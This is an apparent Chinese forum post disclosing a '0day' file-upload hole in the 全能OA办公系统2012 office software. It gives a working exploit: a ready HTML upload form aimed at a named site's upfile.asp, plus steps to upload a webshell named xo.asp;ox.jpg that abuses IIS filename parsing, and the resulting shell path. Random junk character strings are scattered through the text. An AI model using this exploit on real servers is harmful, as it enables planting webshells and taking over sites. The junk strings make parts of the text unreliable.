全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
% C& p( L8 `( z7 G% p​
系统介绍：

全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。

主要功能：
公司通告
工作计划
通讯助理
- R3 _" N  q8 o1 |/ T2 {# Q- e4 E客户资源
我的公文
- {5 v; H. i; S% t  Y公文传阅
7 |# c2 F) A( X; B公共资源
& a$ G8 \) e) L9 n5 _资源预约
4 Q& ~: s  o& c/ e" L; [今日考勤
6 u5 X1 _% m, s! C: A/ ~个人计划
个人通讯录
个人基本档案
未读邮件
发邮件
收件夹
寄件夹
+ s5 i* F0 O9 \" A网络硬盘
" m. Y8 m0 [7 u网络会议
3 d1 [3 Q8 c# |* s, v3 ^0 |网络调查
0 T  Z1 a6 \4 _! b% [9 ?4 Q8 z交流论坛

5 P7 u% ?" M# j+ F, z有兴趣测试的朋友可以下源码看看

源码下载：
* d/ p( T& g' Q7 @2 Y* \; i6 c$ H
http://www.mycodes.net/30/4750.htm

% Y% O) W' W* u" b0 C2 J漏洞介绍：

由upfile.asp上传文件漏洞引起

测试方法：

  U* _: D8 K1 \, y使用名小子上传http://www.itlynn.com/upfile.asp即可
$ V1 _9 L$ U. F/ N
如果upfile.asp文件被删除不存在。
. P, g( {0 c- e9 J8 ~5 a
) n- i( U1 g5 c( I; d  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。

; C% h+ Q5 S. i. v$ J如果存在那么将如下代码保存为upfile.html。
8 ~. u! V7 ~: X$ w. P
然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。

5 g: f- n. l; _, g9 a& \4 L2 X
( L0 L) m2 l& @
01 <table border='0' align="center" cellpadding="5">
& |5 m. z7 C3 `  w9 Z1 l
- z7 x# C  {' X7 Y4 @4 F02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">
' n+ f+ W# s7 s
. _. Y3 |1 D4 @2 c03 <tr>

04             <td>报错：</td>

+ B* d/ H! F7 J& k1 D( N  L/ I05             <td><input type='radio' name='errnumber' value='0'>

06               自动更名

! j. w* L7 _) L( L# G3 I% c# z07               <input type='radio' name='errnumber' value='1' checked>

* K. m# m9 _7 r' X08               报错方式

1 C6 d7 E  q" e% X09               <input type='radio' name='errnumber' value='2'>
4 Q' e+ j  j* Y- p! w
6 T9 Z  h2 J/ T10               直接覆盖</td>
, _3 m7 }/ b7 H3 A, K7 g: a# A
11           </tr>

12           <tr>
! T: K* d8 {0 U6 b, V
13             <td>主题：</td>
8 X2 H" {0 d. w3 K& i
6 n' o/ ?9 h8 h0 n0 G7 |1 ~/ Z6 W14             <td><input type='text' name='filename' size='30'></td>

15           </tr>

2 F% L4 R$ w: p, L16           <tr>

6 D* f) X! P; I- i) ~17             <td>文件：</td>
6 D) \5 {2 K- l% x1 Z
6 p2 @; T& o. n" E& o18             <td><input type="file"name="fruit"size="30"></td>

19           </tr>

20           <tr>

$ Z8 n" `1 `# F/ a" ?4 ?3 j21             <td valign='top'>简介：</td>

1 h. I, H' v$ Z; `4 a1 O, ^* o1 ^22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>

23           </tr>
# Y! Z6 N' P2 p3 O. x9 m5 ~
" X. p. E9 F5 A* a( H, T, i( S( {2 J24   

25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>

26           </tr>
3 a, z' b! {  j9 B3 R# a
! e! v( E7 \# n7 ?- I" ]0 Z6 V27         </form>

+ E/ x0 ~4 c5 A9 ?* a# v然后打开上传一个文件名为xo.asp;ox.jpg的文件。



上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg

此漏洞需要配合解析漏洞利用。
+ m& H( j, ]) f6 L
& Q$ ]- r( q# h% g3 y0 H, e- f. j